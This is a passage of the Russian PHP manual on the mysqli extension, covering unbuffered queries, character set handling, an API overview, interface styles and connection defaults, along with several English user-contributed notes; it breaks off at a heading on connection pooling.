По умолчанию запросы используют режим буферизации. Это значит, что результаты запроса немедленно поступают от сервера MySQL к PHP и сохраняются в памяти PHP-процесса. Это позволяет делать дополнительные операции, такие как подсчёт количества строк и перемещение (поиск) текущего указателя результата. Это также даёт возможность выполнять новые запросы в том же соединении во время работы над результатом последнего запроса. Недостаток режима буферизации является то, что большие наборы результатов могут потребовать довольно много количество оперативной памяти. Память остаётся занятой до тех пор, пока все указатели на результирующий набор не будут удалены или результирующий набор не будет явно освобождён, что автоматически происходит во время окончания последнего запроса. Термин "результат сохранения" ("store result") также используется для режима буферизации, так как весь результирующий набор сохраняется сразу.

Замечание:

При использовании libmysqlclient в качестве библиотеки ограничение памяти PHP не будет учитывать память используемую для результирующих наборов, если данные не будут сохранены в переменные PHP. С mysqlnd учёт памяти также будет включать в себя размер результирующего набора.

Небуферизованные MySQL запросы выполняются, а затем ожидают получения данных с сервера MySQL. Это использует меньше памяти на стороне PHP, но может увеличить нагрузку на сервер. Пока полный результирующий набор не будет передан с сервера, никакие дальнейшие запросы не могут быть отправлены через это же соединение. Небуферизированные запросы также могут быть отложены как "use result". Когда все строки из набора результатов извлечены, набор результатов исчезает и его нельзя повторно итерировать.

Исходя из этих характеристик, небуферизированные запросы следует использовать только в тех случаях, когда ожидается большой набор результатов, который будет обрабатываться последовательно. Небуферизованные запросы содержат ряд подводных камней, что усложняет их использование, например, количество строк в наборе результатов неизвестно до тех пор, пока не будет извлечена последняя строка. Буферизованные запросы - более простой и гибкий способ обработки наборов результатов.

Поскольку буферизированные запросы применяются по умолчанию, следующие примеры продемонстрируют как выполнить небуферизированные запросы в каждом из API

Пример #1 Пример небуферизированного запроса: mysqli

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");
$unbufferedResult = $mysqli->query("SELECT Name FROM City", MYSQLI_USE_RESULT);

foreach ($unbufferedResult as $row) {
echo $row['Name'] . PHP_EOL;
}
?>

Пример #2 Пример небуферизированного запроса: pdo_mysql

<?php
$pdo = new PDO("mysql:host=localhost;dbname=world", 'my_user', 'my_password');
$pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, false);

$unbufferedResult = $pdo->query("SELECT Name FROM City");
foreach ($unbufferedResult as $row) {
echo $row['Name'] . PHP_EOL;
}
?>

User Contributed Notes

polygon dot co dot in at gmail dot com 25-Jul-2023 05:20
The bufferred and unbuffered queries can be used for a limited amount of records.

For example; while implementing download CSV for a query using buffered way, memory limit issues comes up above 30,000 records to be buffered.

Similarly, For unbuffered the load switched to database server.

This load on both the web (buffered) and MySQL (unbuffered) servers can be reduced as below supporting download CSV for 30,000+ records.

<?php
// Shell command.
$shellCommand = 'mysql '
    . '--host='.escapeshellarg($hostname).' '
    . '--user='.escapeshellarg($username).' '
    . '--password='.escapeshellarg($password).' '
    . '--database='.escapeshellarg($database).' '
    . '--execute='.escapeshellarg($sql).' '
    . '| sed -e \'s/"/""/g ; s/\t/","/g ; s/^/"/g ; s/$/"/g\'';

// CSV headers
header("Content-type: text/csv");
header("Content-Disposition: attachment; filename={$csvFilename}");
header("Pragma: no-cache");
header("Expires: 0");

// Execute command via shell and echo the complete output as a string
echo shell_exec($shellCommand);
?>

There will be a bit of CPU consumption for the sed regex.


Кодировки символов

В идеальном случае кодировка символов должна устанавливаться на уровне сервера и делать это согласно описанию в разделе » Конфигурация кодировки символов документации сервера MySQL. В качестве альтернативы каждый MySQL API предлагает метод для установки кодировки символов во время выполнения.

Предостережение

Кодировка символов и экранирование символов

Кодировка символов должна быть чётко определена, поскольку влияет на каждое действие, в том числе на действия с последствиями для безопасности. Например, механизмы экранирования (такие как mysqli_real_escape_string() для mysqli и PDO::quote() для PDO_MySQL) зависят от этих настроек. Важно понимать, что эти функции не используют кодировку символов определённую в запросе, так например, следующие запросы не будут влиять на поведение этих функций:

Пример #1 Проблемы установки кодировки символов с помощью SQL

<?php

$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

// Этот запрос не влияет на поведение $mysqli->real_escape_string();
$mysqli->query("SET NAMES utf8mb4");

// И этот не влияет на $mysqli->real_escape_string();
$mysqli->query("SET CHARACTER SET utf8mb4");

// но вот этот запрос повлияет на поведение $mysqli->real_escape_string();
$mysqli->set_charset('utf8mb4');

// а этот НЕ повлияет, потому что нельзя использовать "-"
$mysqli->set_charset('UTF-8'); // (utf8mb4, а не UTF-8)
?>

Примеры ниже демонстрируют, как правильно изменять кодировку символов во время выполнения, используя каждый из API.

Замечание: Возможная путаница с UTF-8

Поскольку имена кодировок символов в MySQL не содержат тире/дефис, строка "utf8" применяется в MySQL для установки кодировки UTF-8 (до 3 байт в кодировке Unicode UTF-8). Строка "UTF-8" неприемлема и выбросит ошибку при установке кодировки символов.

Пример #2 Пример установки кодировки символов: mysqli

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

echo 'Первоначальная кодировка: ' . $mysqli->character_set_name() . "\n";

if (!$mysqli->set_charset('utf8mb4')) {
printf("Ошибка загрузки кодировки utf8mb4: %s\n", $mysqli->error);
exit;
}

echo 'Ваша текущая кодировка: ' . $mysqli->character_set_name() . "\n";
?>

Пример #3 Пример установки кодировки символов: pdo_mysql

<?php
$pdo = new PDO("mysql:host=localhost;dbname=world;charset=utf8mb4", 'my_user', 'my_pass');
?>

User Contributed Notes

legrand dot jeremie at gmail dot com 26-Dec-2022 02:20
After setting the charset, you should define the 'collation' too, to give information on how sorting results on requests. By default, it is 'utf8mb4_general_ci', which is a simplified set of sorting rules. For the official rules, edicted by Unicode, it should be 'utf8mb4_unicode_ci'.

For example:
\mysqli_set_charset($hdl, 'utf8mb4');
\mysqli_query($hdl, 'SET collation_connection = utf8mb4_unicode_520_ci');
mkroese at eljakim dot nl 21-Nov-2017 06:44
Please note that MySQL's utf8 encoding has a maximum of 3 bytes and is unable to encode *all* unicode characters.

If you need to encode characters beyond the BMP (Basic Multilingual Plane), like emoji or other special characters, you will need to use a different encoding like utf8mb4 or any other encoding supporting the higher planes. Mysql will discard any characters encoded in 4 bytes (or more).

See https://dev.mysql.com/doc/refman/5.7/en/charset-unicode-utf8mb4.html for more information on the matter
go at NOSPAMME dot quidera dot com 30-Aug-2012 05:11
If none of the character set alterations work and the data is valid UTF8 and is garbled when saved in mysql. Then your table is not supporting UTF8 and likely is Latin1 or something else. So  you will need to update you table, in the case of MySQL do the following:

ALTER TABLE <table_name> CONVERT TO CHARACTER SET utf8;


Улучшенный модуль MySQL (MySQL Improved)

  • Введение
  • Краткий обзор
  • Краткое руководство
    • Процедурный и объектно-ориентированный интерфейс
    • Соединения
    • Выполнение запросов
    • Подготавливаемые запросы
    • Хранимые процедуры
    • Множественные запросы
    • API поддержка транзакций
    • Метаданные
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Модуль mysqli и постоянные соединения
  • Предопределённые константы
  • Основная информация о функциях модуля MySQLi
  • mysqli — Класс mysqli
    • mysqli::$affected_rows — Получает число строк, затронутых предыдущей операцией MySQL
    • mysqli::autocommit — Включает или отключает автоматическую фиксацию изменений базы данных
    • mysqli::begin_transaction — Стартует транзакцию
    • mysqli::change_user — Позволяет сменить пользователя подключённого к базе данных
    • mysqli::character_set_name — Возвращает текущую кодировку, установленную для соединения с БД
    • mysqli::close — Закрывает ранее открытое соединение с базой данных
    • mysqli::commit — Фиксирует текущую транзакцию
    • mysqli::$connect_errno — Возвращает код ошибки последней попытки соединения
    • mysqli::$connect_error — Возвращает описание последней ошибки подключения
    • mysqli::__construct — Устанавливает новое соединение с сервером MySQL
    • mysqli::debug — Выполняет процедуры отладки
    • mysqli::dump_debug_info — Журналирование отладочной информации
    • mysqli::$errno — Возвращает код ошибки последнего вызова функции
    • mysqli::$error_list — Возвращает список ошибок выполнения последней запущенной команды
    • mysqli::$error — Возвращает строку с описанием последней ошибки
    • mysqli::execute_query — Подготавливает, связывает параметры и выполняет SQL-запрос
    • mysqli::$field_count — Возвращает число столбцов, затронутых последним запросом
    • mysqli::get_charset — Возвращает объект, описывающий кодировку
    • mysqli::$client_info — Получает информацию о клиенте MySQL
    • mysqli::$client_version — Возвращает информацию о клиенте MySQL в виде строки
    • mysqli::get_connection_stats — Возвращает статистику соединения с клиентом
    • mysqli::$host_info — Возвращает строку, содержащую тип используемого соединения
    • mysqli::$protocol_version — Возвращает версию используемого MySQL протокола
    • mysqli::$server_info — Возвращает версию MySQL сервера
    • mysqli::$server_version — Возвращает версию сервера MySQL, представленную в виде integer
    • mysqli::get_warnings — Получает результат SHOW WARNINGS
    • mysqli::$info — Извлекает информацию о последнем выполненном запросе
    • mysqli::init — Инициализирует MySQLi и возвращает объект для использования в функции mysqli_real_connect()
    • mysqli::$insert_id — Возвращает значение, созданное для столбца AUTO_INCREMENT последним запросом
    • mysqli::kill — Запрос для сервера завершить выполнение процесса MySQL
    • mysqli::more_results — Проверка, есть ли ещё результаты в мультизапросе
    • mysqli::multi_query — Выполняет один или несколько запросов к базе данных
    • mysqli::next_result — Подготовка следующего доступного результирующего набора из multi_query
    • mysqli::options — Установка настроек
    • mysqli::ping — Проверяет работоспособность соединения или пытается переподключиться, если соединение разорвано
    • mysqli::poll — Опрос подключений
    • mysqli::prepare — Подготавливает SQL выражение к выполнению
    • mysqli::query — Выполняет запрос к базе данных
    • mysqli::real_connect — Устанавливает соединение с сервером mysql
    • mysqli::real_escape_string — Экранирует специальные символы в строке для использования в SQL-выражении, используя текущий набор символов соединения
    • mysqli::real_query — Выполнение SQL запроса
    • mysqli::reap_async_query — Получение результата асинхронного запроса
    • mysqli::refresh — Обновление
    • mysqli::release_savepoint — Удаляет именованную точку сохранения из списка точек сохранения текущей транзакции
    • mysqli::rollback — Откат текущей транзакции
    • mysqli::savepoint — Установите именованную точку сохранения транзакции
    • mysqli::select_db — Устанавливает базу данных для выполняемых запросов
    • mysqli::set_charset — Задаёт набор символов
    • mysqli::$sqlstate — Возвращает код состояния SQLSTATE последней MySQL операции
    • mysqli::ssl_set — Используется для установления безопасных соединений, используя SSL
    • mysqli::stat — Получение информации о текущем состоянии системы
    • mysqli::stmt_init — Инициализирует запрос и возвращает объект для использования в mysqli_stmt_prepare
    • mysqli::store_result — Передаёт на клиента результирующий набор последнего запроса
    • mysqli::$thread_id — Возвращает ID процесса текущего подключения
    • mysqli::thread_safe — Показывает, безопасна ли работа с процессами
    • mysqli::use_result — Готовит результирующий набор на сервере к использованию
    • mysqli::$warning_count — Возвращает количество предупреждений из последнего запроса заданного подключения
  • mysqli_stmt — The mysqli_stmt class
    • mysqli_stmt::$affected_rows — Возвращает общее количество строк, изменённых, удалённых, вставленных или сопоставленных последним выполненным выражением
    • mysqli_stmt::attr_get — Получает текущее значение атрибута запроса
    • mysqli_stmt::attr_set — Изменяет поведение подготовленного запроса
    • mysqli_stmt::bind_param — Привязка переменных к параметрам подготавливаемого запроса
    • mysqli_stmt::bind_result — Привязка переменных к подготовленному запросу для размещения результата
    • mysqli_stmt::close — Закрывает подготовленный запрос
    • mysqli_stmt::__construct — Конструктор для объекта mysqli_stmt
    • mysqli_stmt::data_seek — Корректирует указатель результата на произвольную строку в буферизованном результате
    • mysqli_stmt::$errno — Возвращает код ошибки выполнения последнего запроса
    • mysqli_stmt::$error_list — Возвращает список ошибок выполнения последнего запроса
    • mysqli_stmt::$error — Возвращает строку с пояснением последней ошибки при выполнении запроса
    • mysqli_stmt::execute — Выполняет подготовленное утверждение
    • mysqli_stmt::fetch — Связывает результаты подготовленного выражения с переменными
    • mysqli_stmt::$field_count — Возвращает число столбцов в заданном выражении
    • mysqli_stmt::free_result — Освобождает память от результата запроса, указанного дескриптором
    • mysqli_stmt::get_result — Получает результат из подготовленного запроса в виде объекта mysqli_result
    • mysqli_stmt::get_warnings — Получает результат от SHOW WARNINGS
    • mysqli_stmt::$insert_id — Получает ID, сгенерированный предыдущей операцией INSERT
    • mysqli_stmt::more_results — Проверяет, есть ли ещё наборы строк в результате мультизапроса
    • mysqli_stmt::next_result — Читает следующий набор строк из мультизапроса
    • mysqli_stmt::$num_rows — Возвращает количество строк, полученных с сервера
    • mysqli_stmt::$param_count — Возвращает количество параметров в запросе
    • mysqli_stmt::prepare — Подготавливает утверждение SQL к выполнению
    • mysqli_stmt::reset — Сбрасывает результаты выполнения подготовленного запроса
    • mysqli_stmt::result_metadata — Возвращает метаданные результирующей таблицы подготавливаемого запроса
    • mysqli_stmt::send_long_data — Отправка данных блоками
    • mysqli_stmt::$sqlstate — Возвращает код ошибки SQLSTATE, вызванной в ходе выполнения последней операции над запросом
    • mysqli_stmt::store_result — Сохраняет набор результатов во внутреннем буфере
  • mysqli_result — Класс mysqli_result
    • mysqli_result::__construct — Конструктор объекта mysqli_result
    • mysqli_result::$current_field — Получает смещение указателя по отношению к текущему полю
    • mysqli_result::data_seek — Перемещает указатель результата на выбранную строку
    • mysqli_result::fetch_all — Выбирает все строки из результирующего набора и помещает их в ассоциативный массив, обычный массив или в оба
    • mysqli_result::fetch_array — Выбирает следующую строку из набора результатов и помещает её в ассоциативный массив, обычный массив или в оба
    • mysqli_result::fetch_assoc — Выбирает следующую строку из набора результатов и помещает её в ассоциативный массив
    • mysqli_result::fetch_column — Получает один столбец из следующей строки набора результатов
    • mysqli_result::fetch_field_direct — Получение метаданных конкретного поля
    • mysqli_result::fetch_field — Возвращает следующее поле результирующего набора
    • mysqli_result::fetch_fields — Возвращает массив объектов, представляющих поля результирующего набора
    • mysqli_result::fetch_object — Выбирает следующую строку из набора результатов в виде объекта
    • mysqli_result::fetch_row — Выбирает следующую строку из набора результатов и помещает её в обычный массив
    • mysqli_result::$field_count — Получает количество полей в наборе результатов
    • mysqli_result::field_seek — Установить указатель поля на определённое смещение
    • mysqli_result::free — Освобождает память, занятую результатами запроса
    • mysqli_result::getIterator — Извлекает внешний итератор
    • mysqli_result::$lengths — Возвращает длины полей текущей строки результирующего набора
    • mysqli_result::$num_rows — Получает количество строк в наборе результатов
  • mysqli_driver — Класс mysqli_driver
    • mysqli_driver::embedded_server_end — Останавливает встроенный сервер
    • mysqli_driver::embedded_server_start — Инициализирует и запускает встроенный сервер
    • mysqli_driver::$report_mode — Устанавливает режим отчёта об ошибках mysqli
  • mysqli_warning — Класс mysqli_warning
    • mysqli_warning::__construct — Закрытый конструктор для запрета прямого создания экземпляра
    • mysqli_warning::next — Получает следующее предупреждение
  • mysqli_sql_exception — Класс mysqli_sql_exception
    • mysqli_sql_exception::getSqlState — Возвращает код ошибки SQLSTATE
  • Синонимы и устаревшие функции Mysqli
    • mysqli_connect — Псевдоним mysqli::__construct
    • mysqli::escape_string — Псевдоним функции mysqli_real_escape_string
    • mysqli_execute — Псевдоним mysqli_stmt_execute
    • mysqli_get_client_stats — Получить клиентскую попроцессную статистику
    • mysqli_get_links_stats — Возвращает информацию об открытых и закешированных соединениях MySQL
    • mysqli_report — Псевдоним mysqli_driver->report_mode
    • mysqli::set_opt — Псевдоним mysqli_options
  • Список изменений

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль mysqli позволяет вам получить доступ к функциональности, которую предоставляет MySQL версии 4.1 и выше. Больше информации о сервере баз данных MySQL вы можете получить по адресу » http://www.mysql.com/.

Информация об использовании MySQL из PHP находится по адресу Краткий обзор

Документация MySQL находится по адресу » http://dev.mysql.com/doc/.

Некоторые части данной документации включены из руководства по MySQL с разрешения корпорации Oracle.

Все примеры, приведённые в документации, используют доступные свободно базы данных » world и » sakila.

User Contributed Notes

There are no user contributed notes for this page.


Краткий обзор

Этот раздел посвящён описанию инструментов для взаимодействия PHP-приложений с базами данных MySQL.

Что такое API?

Интерфейс программирования приложений, или API, определяет набор классов, методов, функций и переменных, которые можно вызывать из вашего приложения для выполнения поставленных задач. Применительно к PHP приложениям, которые должны взаимодействовать с базами данных, необходимые для этого API, как правило, представлены PHP-модулями.

API могут быть процедурными или объектно-ориентированными. При использовании процедурных API вы вызываете функции для выполнения каких-либо операций, а в случае объектно-ориентированных вы инстанцируете классы и затем вызываете методы созданных объектов. Второй подход, обычно, предпочтительнее, так как он более современный и способствует написанию более организованного кода.

API MySQL предоставляет несколько способов подключения к базе данных из PHP-приложения. В этом документе приводится описание этих способов и даются рекомендации, как выбрать наиболее подходящее решение в конкретной ситуации.

Что такое коннектор?

В документации MySQL термин коннектор (connector) относится к части программного обеспечения, отвечающей за подключение к серверу MySQL. MySQL предоставляет множество коннекторов для различных языков программирования, в частности для PHP.

Для обеспечения взаимодействия PHP приложения с сервером баз данных вам необходимо написать PHP-код, выполняющий подключение к серверу, выполнение запросов к базе данных и тому подобные операции. От программного обеспечения сервера требуется предоставить API, которое ваше PHP-приложение сможет использовать, а также функционал, ответственный за взаимодействие вашего приложения с сервером. Программное обеспечение, реализующее такой функционал, обычно называют коннектором, так как оно позволяет вашему приложению подключиться (to connect) к серверу баз данных. В ряде случаев коннектор для своих нужд может потребовать дополнительные библиотеки.

Что такое драйвер?

Драйвером называется часть программного обеспечения, отвечающая за взаимодействие приложения с конкретным типом серверов баз данных. Драйвер также может обращаться к внешним библиотекам, таким как клиентская библиотека MySQL или нативный драйвер MySQL. Эти библиотеки реализуют низкоуровневый протокол взаимодействия с сервером MySQL.

В качестве примера можно привести уровень абстракции для работы с базами данных Объекты данных PHP (PDO), который может использовать один из нескольких драйверов, специфичных для конкретных баз данных. В качестве такого драйвера может выступать драйвер PDO MYSQL, который позволяет PDO взаимодействовать с MySQL-сервером.

Иногда люди употребляют термины коннектор и драйвер, как синонимы, и это может сбить с толку. В документации MySQL термин драйвер означает участок программного кода, входящий в состав коннектора и отвечающий за связь с конкретной СУБД.

Что такое модуль?

В документации к PHP вы будете неоднократно сталкиваться с термином модуль. Код PHP как такового состоит из ядра и присоединённых к нему необязательных модулей, которые увеличивают круг задач, которые может выполнять ядро. Относящиеся к MySQL модули, такие как mysqli и драйвер PDO MySQL, взаимодействуют с ядром с помощью фреймворка PHP модулей.

Обычно модули предоставляют свой API-интерфейс PHP-программисту, чтобы тот мог программно использовать возможности модуля. Однако, некоторые модули, использующие фреймворк PHP-модули, не предоставляют программистам никаких интерфейсов.

Драйвер PDO MySQL, например, не предоставляет своего API. Он предоставляет интерфейс только абстрактному слою PDO, лежащему выше.

Термины API и модуль нельзя воспринимать как синонимы, так как модуль может и не предоставлять API программисту.

Какие инструменты для работы с MySQL предлагает API PHP?

API предоставляет на выбор два набора инструментов для подключения к серверу баз данных MySQL:

  • Модуль PHP mysqli

  • Объекты данных PHP (PDO)

Каждый из них имеет свои достоинства и недостатки. Целью данного обзора является краткое описание ключевых особенностей каждого API.

Что такое PHP-модуль mysqli?

Модуль mysqli, или как его ещё называют улучшенный (improved) модуль MySQL, был разработан, чтобы дать возможность программистам в полной мере воспользоваться функционалом MySQL-сервера версий 4.1.3 и выше. Модуль mysqli включается в поставку PHP версий 5 и выше.

mysqli имеет ряд преимуществ и усовершенствований по сравнению с mysql, которые заключаются в следующем:

  • Объектно-ориентированный интерфейс

  • Поддержка подготавливаемых запросов

  • Поддержка мультизапросов

  • Поддержка транзакций

  • Улучшенные возможности отладки

Наравне с объектно-ориентированным интерфейсом модуль предоставляет и процедурный интерфейс.

модуль mysqli собирается при помощи фреймворка модулей PHP, его исходный код расположен в директории ext/mysqli.

За дополнительной информацией о модуле mysqli, обращайтесь к разделу MySQLi.

Что такое PDO?

Объекты данных PHP, или PDO, представляют из себя абстракцию коннектора баз данных для PHP приложений. PDO предоставляет API интерфейс взаимодействия с базой данных, не зависящий от конкретной СУБД. Теоретически, при использовании PDO можно поменять сервер баз данных, например с Firebird на MySQL, и это приведёт лишь к незначительным изменениям в PHP-коде.

В качестве других подобных абстракций можно привести JDBC для Java-приложений и DBI для Perl.

Наряду с преимуществами PDO, такими как простота и переносимость API, есть его главный недостаток: PDO поддерживает не все возможности сервера баз данных, доступные в последних версиях MySQL. Например, средствами PDO нельзя создавать множественные запросы, хотя MySQL их и поддерживает.

PDO собирается при помощи фреймворка модулей PHP, его исходный код расположен в директории ext/pdo.

Дополнительную информацию о PDO смотрите в разделе PDO.

Что такое драйвер PDO MYSQL?

Драйвер PDO MYSQL не является API как таковым, во всяком случае с точки зрения программиста. Драйвер PDO MYSQL располагается между самим PDO и сервером MySQL. Программист вызывает функции интерфейса API PDO, а PDO в свою очередь использует драйвер PDO MYSQL для обмена данными и командами с сервером MySQL.

Драйвер PDO MYSQL лишь один из многих PDO-драйверов. Для большинства СУБД есть свои PDO драйверы, как например драйверы для Firebird или PostgreSQL серверов.

Драйвер PDO MYSQL собирается при помощи фреймворка модулей PHP, его исходный код расположен в директории ext/pdo_mysql. Он не предоставляет API-интерфейс программисту PHP.

Дополнительно о драйвере PDO MYSQL можно прочитать в разделе MySQL (PDO).

Что такое нативный драйвер MySQL для PHP?

Чтобы обеспечить взаимодействие с сервером MySQL, модуль mysqli и драйвер PDO MYSQL используют низкоуровневую библиотеку, в которой реализованы необходимые протоколы. В прошлом была доступна только одна такая библиотека: Клиентская библиотека MySQL (MySQL Client Library), также известная как libmysqlclient.

Однако, интерфейс, который предоставляла libmysqlclient, не был оптимизирован для взаимодействия с PHP-приложениями, так как изначально libmysqlclient разрабатывалась для работы с С-приложениями. Несколько позже был разработан нативный драйвер MySQL (MySQL Native Driver) mysqlnd, который представляет собой альтернативу libmysqlclient для PHP.

И модуль mysqli и драйвер PDO MySQL можно индивидуально настроить для работы либо с libmysqlclient, либо с mysqlnd. Так как mysqlnd создавался специально для PHP-систем, у него есть преимущество в скорости и расходах памяти перед libmysqlclient. Поэтому его использование предпочтительней.

Нативный драйвер MYSQL собирается при помощи фреймворка модулей PHP, его исходный код расположен в директории ext/mysqlnd. Он не предоставляет API-интерфейс программисту PHP.

Сравнение возможностей

В приведённой таблице приводится сравнение функционала основных методов подключения к MySQL из PHP:

Сравнение опций MySQL API в PHP
 | Модуль PHP mysqli | PDO (используя драйвер PDO MySQL и нативный драйвер MySQL)
Версия PHP, в которой был внедрён функционал | 5.0 | 5.0
Статус разработки MySQL | Разработка продолжается | Разработка продолжается
API поддерживает наборы символов | Да | Да
API поддерживает подготавливаемые запросы на стороне сервера | Да | Да
API поддерживает подготавливаемые запросы на стороне клиента | Нет | Да
API поддерживает хранимые процедуры | Да | Да
API поддерживает множественные запросы | Да | По большей части
Поддержка всего функционала MySQL 4.1+ | Да | По большей части

User Contributed Notes

php-includer at gmail dot com 25-Sep-2014 04:30
mysqli can be great in some circumstances but much work has been put into PHP Portable Data Objects (PDO) which you should also consider when choosing a way to connect to your database using php. For example, PDO supports MySQL with minimal performance hit and the code your write for it will support many other databases with little or no changes. That said, the database connection code, even if you have to change a lot of it to use another database will be much less work than coding your actual database data entry and report apps. When I started creating PHP/MySQL apps years ago, I used php's native support for PHP then moved to PEAR:DB and MDB/MDB2 and finally to wizzyweb which is basically like "phpMyAdmin for Apps" to create apps as it automatically generates the PHP PDO connection code and the application code. Sure, I could code it all from scratch but I save about 90% of the time it used to take. The point is look at the total amount of time you will save by using native code vs. an abstraction layer. Most people find that programmer time is the most valuable part of the equation so anything than can save programmer time should be heavily weighted.
guatebus at dot gmail dot com 13-Oct-2013 12:00
The text: "PDO does not allow you to use MySQL's support for Multiple Statements" is outdated.

Since v5.3, PHP intoduced multiple statement support into PDO (by PDO_MYSQLND driver replacing the previous PDO_MYSQL).


Краткое руководство

Содержание

  • Процедурный и объектно-ориентированный интерфейс
  • Соединения
  • Выполнение запросов
  • Подготавливаемые запросы
  • Хранимые процедуры
  • Множественные запросы
  • API поддержка транзакций
  • Метаданные

Данное практическое руководство поможет освоить основные моменты API-интерфейса MySQL-сервера.

В этом руководстве приводится краткий обзор модуля mysqli. Для всех основных особенностей API-интерфейса приведены примеры PHP-кода. Также объясняются принципы работы баз данных в целом, чтобы иметь возможность описать какие-то отдельные моменты, присущие конкретно MySQL.

Требования: Знакомство с языком программирования PHP, SQL, а также знание основ работы с MySQL-сервером.

User Contributed Notes

There are no user contributed notes for this page.


Процедурный и объектно-ориентированный интерфейс

Модуль mysqli предоставляет двойной интерфейс программисту. Поддерживаются как процедурная, так и объектно-ориентированная парадигмы программирования.

Пользователи, переходящие со старого модуля mysql, возможно, предпочтут процедурный интерфейс. Он весьма схож с интерфейсом старого модуля, и во многих случаях функции отличаются только префиксом в имени. Некоторые mysqli-функции принимают дескриптор соединения первым аргументом, в отличие от соответствующих им функций старого модуля, которые принимают его в качестве последнего необязательного аргумента.

Пример #1 Простота перехода со старого модуля mysql

<?php
$mysqli = mysqli_connect("example.com", "user", "password", "database");
$result = mysqli_query($mysqli, "SELECT 'Пожалуйста, не используйте устаревший модуль mysql в новых проектах.' AS _msg FROM DUAL");
$row = mysqli_fetch_assoc($result);
echo $row['_msg'];

$mysql = mysql_connect("example.com", "user", "password");
mysql_select_db("test");
$result = mysql_query("SELECT 'Используйте вместо него модуль mysqli.' AS _msg FROM DUAL", $mysql);
$row = mysql_fetch_assoc($result);
echo $row['_msg'];
?>

Результат выполнения данного примера:

Пожалуйста, не используйте устаревший модуль mysql в новых проектах. Используйте вместо него модуль mysqli.

Объектно-ориентированный интерфейс

В дополнение к процедурному пользователи могут использовать объектно-ориентированный интерфейс. Документация заточена именно под объектный интерфейс. Объектно-ориентированный интерфейс предлагает функции сгруппированные по цели их применения, что облегчает их поиск и освоение. Тем не менее, в практических примерах к функциям приводится код для обеих парадигм.

Каких-либо принципиальных отличий в производительности между интерфейсами нет. Пользователи вольны в выборе интерфейса, основываясь на личных предпочтениях.

Пример #2 Объектно-ориентированный и процедурный интерфейсы

<?php

$mysqli = mysqli_connect("example.com", "user", "password", "database");

$result = mysqli_query($mysqli, "SELECT 'Мир, полный ' AS _msg FROM DUAL");
$row = mysqli_fetch_assoc($result);
echo $row['_msg'];

$mysqli = new mysqli("example.com", "user", "password", "database");

$result = $mysqli->query("SELECT 'выбора, чтобы угодить всем.' AS _msg FROM DUAL");
$row = $result->fetch_assoc();
echo $row['_msg'];

Результат выполнения данного примера:

Мир, полный выбора, чтобы угодить всем.

Примеры в этом руководстве будут написаны в объектном стиле в виду того, что объектному подходу отдавалось предпочтение при создании документации.

Смешивание стилей

Переключаться между стилями программирования можно сколь угодно часто и в любое время, однако делать этого не рекомендуется, так как это ухудшает читаемость кода и затрудняет его поддержку.

Пример #3 Плохой стиль программирования

<?php

$mysqli = new mysqli("example.com", "user", "password", "database");

$result = mysqli_query($mysqli, "SELECT 'Этот код работает, но лучше так не писать.' AS _msg FROM DUAL");

if ($row = $result->fetch_assoc()) {
echo $row['_msg'];
}

Результат выполнения данного примера:

Этот код работает, но лучше так не писать.

Смотрите также

  • mysqli::__construct()
  • mysqli::query()
  • mysqli_result::fetch_assoc()
  • $mysqli::connect_errno
  • $mysqli::connect_error
  • $mysqli::errno
  • $mysqli::error
  • Общее описание функций модуля MySQLi

User Contributed Notes

Anonymous 06-Jan-2015 11:36
Just want to add that both procedural mysqli_connect_errno and mysqli_connect_error DON'T accept any arguments!
http://php.net/manual/de/mysqli.connect-errno.php
http://php.net/manual/de/mysqli.connect-error.php
"int mysqli_connect_errno ( void )"
"string mysqli_connect_error ( void )"
It clearly states "void" there.

Adding the mysqli-Instance as a parameter makes it look like it pulls the error-number out of the provided instance, which is not actually happening. This could end in a hard to detect bug when connecting to multiple SQL servers.
And it is confusing for beginners.


Соединения

Сервер MySQL поддерживает различные способы передачи данных. Соединения могут использовать протоколы TCP/IP, сокеты Unix-доменов или именованные пайпы Windows.

Имя хоста localhost имеет особое значение. Оно используется только в сокетах Unix доменов. Чтобы открыть TCP/IP-соединение с локальным хостом, необходимо использовать 127.0.0.1 вместо имени хоста localhost.

Пример #1 Специальное назначение localhost

<?php

$mysqli = new mysqli("localhost", "user", "password", "database");

echo $mysqli->host_info . "\n";

$mysqli = new mysqli("127.0.0.1", "user", "password", "database", 3306);

echo $mysqli->host_info . "\n";

Результат выполнения данного примера:

Localhost via UNIX socket
127.0.0.1 via TCP/IP

Умолчания для параметров соединений

В зависимости от функции, осуществляющей подключение, какие-то параметры можно не задавать. Если параметр не задан, модуль попытается использовать значение по умолчанию для этого параметра, которое задано в конфигурационном файле PHP.

Пример #2 Задание значений по умолчанию

mysqli.default_host=192.168.2.27
mysqli.default_user=root
mysqli.default_pw=""
mysqli.default_port=3306
mysqli.default_socket=/tmp/mysql.sock

Далее, чтобы установить соединение, функция передаёт параметры в клиентскую библиотеку, которой пользуется модуль. Если библиотека обнаружит пустые или отсутствующие параметры, она может подставить вместо них свои встроенные значения по умолчанию.

Встроенные библиотечные значения по умолчанию для параметров соединения

Если имя хоста не задано или передана пустая строка, клиентская библиотека использует для подключения к Unix-сокету хоста localhost. Если сокет не задан или передана пустая строка, и при этом запрошено подключение к Unix-сокету, библиотека попытается подключиться к сокету /tmp/mysql.sock.

В Windows-системах, если в качестве имени хоста передаётся ., библиотека попытается открыть соединение на основе именованного пайпа. В этом случае имя сокета будет воспринято как имя пайпа. Если имя сокета не задано, то будет использовано значение \\.\pipe\MySQL.

Если соединение не использует ни сокет Unix-домена, ни именованный пайп Windows, и при этом не задан порт для подключения, библиотека использует номер порта 3306.

В драйвере mysqlnd и клиентской библиотеке MySQL (libmysqlclient) заложена та же логика определения умолчаний.

Настройки соединения

Настройки соединения позволяют, например, задать какие-то команды, которые нужно выполнить сразу после подключения, или отдать распоряжение использовать определённый набор символов. Настройки должны быть заданы до подключения к серверу.

Когда требуется задать настройки соединения, операция подключения выполняется в три этапа: функцией mysqli_init() или mysqli::__construct() создаётся дескриптор подключения, затем подключение настраивается с помощью функции mysqli::options(), и наконец устанавливается сетевое соединение с сервером посредством функции mysqli::real_connect().

Объединение подключений в пул

